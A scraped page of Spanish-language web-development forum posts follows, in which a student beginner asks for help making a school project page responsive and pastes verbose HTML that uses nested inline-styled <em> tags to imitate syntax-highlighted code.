|
221
|
Programación / Desarrollo Web / Necesito consejos
|
en: 21 Septiembre 2020, 22:09 pm
|
Hola,yo soy nuevo usando html e css me gustaría que me den consejos para cuando haga una página.El código quedé bien estructurado.
|
|
|
223
|
Programación / Desarrollo Web / Re: Responsive Web
|
en: 19 Septiembre 2020, 21:46 pm
|
Esto no debería de ir aquí... Tienes un código demasiado inteligible, debes de poner todos los estilos en el CSS. Estas aplicando el mismo estilo una y otra vez a los elementos em: <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">29</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">__--</em></em></em> <em style="color: rgb(215, 186, 125);">.codigohtml<em style="color: white;"> {</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">30</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">background-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">31</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">32</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-width<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 3px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">33</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> solid</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">34</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 20px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">35</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 13px</em><em style="color: white;">;</em> </em></p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">36</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
em { color: rgba(133, 133, 133); }
Hola,no se si te diste cuenta pero cada "em" está haciendo algo distinto.Yo en un principio lo quería hacer absolutamente todo con css pero no. Te invito a que pruebes el código y verás lo que hace.Y obvio si querés explicarme.Cómo hacerlo correctamente y que todos los "em" conserven su color, tamaño y espacio sería más que exelente. Gracias
|
|
|
224
|
Programación / Desarrollo Web / Responsive Web
|
en: 19 Septiembre 2020, 02:31 am
|
Hola buenas noches,estoy trabajando para un proyecto de la secundaria.Y logre avanzarlo bastante,pero estoy trancado en la parte de hacer que sea responsive.La cosa es que no tengo ni la mas mínima idea de como hacerlo. Si me pueden dar un ayuda seria mas que excelente. Html <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="css/Tecnologia.css"> <title>Document</title> </head> <nav> <a href="index.html"><img style="margin-left: 1150px;" width="30px" height="30px" src="img/INDEX.png" alt=""></a> </nav> <body> <div class="codigohtml"> <center> <em style="color: white;font-size: 34px;font-family: Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;letter-spacing: 2px;">Parte del codigo fuente</em> </center> <p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 1</em><em style="visibility: hidden">--</em><em style="color: rgb(86, 156, 214);"> <em></em><em style="color: rgb(86, 156, 214);">< html </em> </em> <em style="color: rgb(206, 145, 120);"> lang="es"<em style="color: rgb(86, 156, 214);">></em> </p></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__---</em ><em class="numero" style="color: rgb(133, 133, 133);">2</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_-</em></em></em> <em style="color: rgb(86, 156, 214);"> < head ></em> <p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 3</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);"> <em></em><em style="color: rgb(86, 156, 214);">< meta </em> </em> <em style="color: rgb(206, 145, 120);"> charset="UTF-8"<em style="color: rgb(86, 156, 214);">></em> </p></p> <p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 4</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);"> < meta </em> <em style="color: rgb(206, 145, 120);">name=</em><em style="color: rgb(86, 156, 214);">"viewport"</em> <em style="color: rgb(206, 145, 120);">content=</em><em style="color: rgb(206, 145, 120);">"width=device-width, initial-scale=1.0"<em style="color: rgb(86, 156, 214);">></em></p></p> <p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 5</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);"> < link </em> <em style="color: rgb(206, 145, 120);" > rel="stylesheet" </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"css/cssdeprueba1.css"<em style="color: rgb(86, 156, 214);">></em></p> <p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 6</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);">< title ></em><em style="color: rgb(255, 255, 255);">Document</em><em style="color: rgb(86, 156, 214);">< /title ></em></p> <em style="color: rgb(86, 156, 214);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 7<em style="color: rgb(51, 51, 51);"><em style="visibility: hidden">__</em></em></em>< /head ></em> <br> <em style="color: rgb(86, 156, 214);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 8</em><em style="color: rgb(51, 51, 51);"><em style="visibility: hidden">_-</em></em> < body ></em> <p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 9</em><em style="color: rgb(51, 51, 51);"><em style="visibility: hidden">-__-</em></em><em style="color: rgb(86, 156, 214);"> < div </em><em style="color: skyblue;">id="menu"</em><em style="color: rgb(86, 156, 214);">></em></p> <p style="color: rgb(51, 51, 51);"></em><em style="color: rgb(51, 51, 51);"><em style="color: rgb(133, 133, 133);" style="visibility: visible;"><em style="visibility: hidden;">_...</em><em class="numero">10</em><em style="visibility: hidden">-___--</em></em><em style="color: rgb(86, 156, 214);">< ul > </em></p> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">12</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"Tenologia.html"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> tecnología </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">13</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Ual </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">18</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Ingles</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">14</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Ciencias experimentales </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">15</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Idioma esp</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">18</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Biologia</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">16</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Matemática</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">17</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Taller </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p> <p style="color: rgb(51, 51, 51);"> <em class="numero" style="color: rgb(133, 133, 133);" style="visibility: visible;"><em style="visibility: hidden;">__</em> 18</em><em style="visibility: hidden">-______</em><em style="color: rgb(86, 156, 214);">< /ul > </em></p> <em style="color: rgb(86, 156, 214);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> 19<em style="visibility: hidden;">__-</em></em> < /div > </em> <br> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__-</em><em class="numero">20</em><em style="visibility: hidden;">_--</em><em style="color: rgb(86, 156, 214);">< /body ></em> <br> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> <em class="numero">21</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> < s tyle > </em> <br> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">22</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(86, 156, 214);">*<em style="color: white;"> {</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">23</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">padding<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);">0</em> <em style="color: white;">;</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">24</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);">0</em> <em style="color: white;">;</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">25</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-family<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">Arial</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">Helvetica</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">sans-serif</em></em> <em style="color: white;">;</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">26</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">decoration<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em></em> </p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">27</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">__-----</em></em></em> <em style="color: white;">}</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">28</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">29</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">__--</em></em></em> <em style="color: rgb(215, 186, 125);">.codigohtml<em style="color: white;"> {</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">30</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">background-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">31</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">32</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-width<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 3px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">33</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> solid</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">34</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 20px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">35</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 13px</em><em style="color: white;">;</em> </em></p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">36</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">37</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden"></em></em></em> <em ></em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">38</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.html<em style="color: white;">{</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">39</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> margin-bottom<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> -19px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">40</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> padding<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 2px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">41</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">text-align<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> center</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">42</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-family<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">Arial</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">Helvetica</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">sans-serif</em></em><em style="color: white;">;</em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">43</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 15px</em><em style="color: white;">;</em> </em></p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">44</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">45</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">46</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.css<em style="color: white;">{</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">47</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> margin-bottom<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> -19px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">48</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> padding<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 2px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">49</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">text-align<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> center</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">50</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-family<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">Arial</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">Helvetica</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">sans-serif</em></em><em style="color: white;">;</em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">51</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 15px</em><em style="color: white;">;</em> </em></p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">52</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">53</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">54</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.em<em style="color: white;"> {</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">55</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">____----</em></em></em> <em style="color: rgb(156, 220, 254);">font-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> normal</em><em style="color: white;">;</em> </em></p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">56</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">57</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">58</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.numero<em style="color: white;"> {</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">59</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -moz-user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">60</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -webkit-user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">61</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -ms-user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">62</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">63</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">64</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">65</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.codigocss<em style="color: white;">{</em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">66</em></em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">background-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 